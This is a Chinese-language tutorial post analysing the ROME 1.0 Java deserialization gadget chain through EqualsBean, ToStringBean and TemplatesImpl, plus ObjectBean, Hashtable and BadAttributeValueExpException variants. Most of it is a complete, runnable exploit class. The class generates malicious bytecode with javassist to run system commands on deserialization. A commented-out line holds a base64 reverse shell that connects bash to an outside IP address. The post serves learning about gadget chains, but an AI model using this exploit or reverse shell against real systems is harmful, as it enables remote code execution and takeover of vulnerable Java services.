前情提要:

ROME是一个可以兼容多种格式的feeds解析器,可以将一种对象转换成另一种格式(指定格式或java对象)

他提供了ToStringBean这个类,提供深入的toString方法对javaBean进行操作

环境:

jdk8u65

pom.xml:

1
2
3
4
5
6
7
8
9
10
<dependency>  
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

流程分析:

首先是从导入的rome包里面看一眼,搜一下相关关键字发现什么都没有,比如jndi关键字

其实这里是因为rome包只是这个链子的一部分也就是一个sink,是因为有他才完善了一条链子 

这里看其他师傅的链尾是TemplatesImpl.getOutputProperties(),很熟悉,在cc里面见过,这里我们按照常规思路应该是去找find usages,但是发现找不到

这里很厉害的一个地方就是链子的下一步是(在rome包里面)ToStringBean.toString(),看一下

发现就是BeanIntrospector.getPropertyDescriptors(_beanClass)获取一个_beanClass中的getter方法,如果不为空且能调用该方法且可以传参,判断完之后就会执行invoke

1
Object value = pReadMethod.invoke(_obj,NO_PARAMS);

这里看到invoke其实有的人就有可能知道为什么链尾是tostring了,因为该invoke是可以触发TemplatesImpl.getOutputProperties() 的方法的

然后跟进去看一下_beanClass和_obj在构造函数的时候就会被赋值

那现在就是去找谁调用tostring了,这用到了rome包中的类EqualsBean ,跟进去看一下发现有一个hashcode方法

看到这个方法就可以想到我们之前学习cc链的时候的hashmap相关的那条链,这里也是完美契合的

原生exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class RomEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Drunkbaby");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Class c = templates.getClass();
Field byteCodesField = c.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] evil = getTemplatesImpl("Calc");
byte[][] codes = {evil};
byteCodesField.set(templates,codes);
// templates.newTransformer();
ToStringBean toStringBean = new ToStringBean(c,templates);
// toStringBean.toString();
Class toStringBeanEvil = toStringBean.getClass();
EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"Zephyr");
serialize(hashMap);
unserialize("ser.bin");

}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

其它利用链:

1.用objectBean替换equalsbean

exp基本不变,就变了一句

1
2
3
ObjectBean objectBean = new ObjectBean(toStringBeanEvil,toStringBean);  
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"Zephyr");

2.用hashtable替换hashmap

和之前一条cc链差不多,现在的poc里面hashmap会有一个put的操作,但是在hashtable里面,对于hashtable的每个元素,都会调用reconstitutionPut方法,具体的可以自己再去跟一下代码

1
2
3
Hashtable hashtable= new Hashtable();  
hashtable.put(equalsBean,"Zephyr");
serialize(hashtable);

3.BadAttributeValueExpException 利用链

不知道大家还是否记得在cc中有个类也可以调用tostring方法,就是BadAttributeValueExpException类的readobject中可以调用任意类的tostring()方法

替换exp

1
2
3
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);  
serialize(badAttributeValueExpException);
unserialize("ser.bin");

替换下面照片中红色的一块

注意:

上述代码都是用javassist生成的恶意字节码,因为javassist 缩短 payload 长度

原因是:

传统 Java 编译会包含调试信息、行号表、局部变量表等,而 Javassist 可以在生成时移除这些信息

总结:

总体来说,这条链还是简单一点,主要就是用到了rome包中的两个类来作为这条链的sink~